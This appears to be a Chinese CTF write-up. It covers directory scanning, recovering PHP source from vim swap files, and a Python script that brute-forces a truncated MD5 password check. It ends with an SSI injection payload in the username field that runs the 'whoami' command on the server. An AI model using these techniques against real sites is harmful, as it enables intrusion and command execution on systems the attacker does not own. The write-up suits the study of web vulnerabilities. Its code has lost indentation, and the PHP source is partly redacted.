发现不是sql注入
上dirsearch
御剑:
扫不出来可能要自己加上字典
可能是字典的问题,
vim备份文件:--注意文件格式为.文件名.swp(swo&swn)
以 index.php 为例:第一次产生的交换文件名为 /.index.php.swp
再次意外退出后,将会产生名为 /index.php.swo 的交换文件
第三次产生的交换文件则为 /index.php.swn
这里/.index.php.swp行不通,只能/index.php.swp
源码
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
在if判断password的语句里,只检测了输入的密码MD5后前6位为6d0bc1
exp:
import random
import string
import hashlib
x=True
while x:
for i in range(10):
value = ''.join(random.sample(string.ascii_letters + string.digits,i))
x = hashlib.md5(str(value).encode('utf-8')).hexdigest()
if x[0:6]=='6d0bc1':
print(value)
x=False
else:
x=True
#7UvuGF
登录
由shtml知道这个SSI注入漏洞
唯一可控的地方就是username,尝试在这里注入
<!--#exec cmd="whoami" -->
发现回显了,可以任意命令执行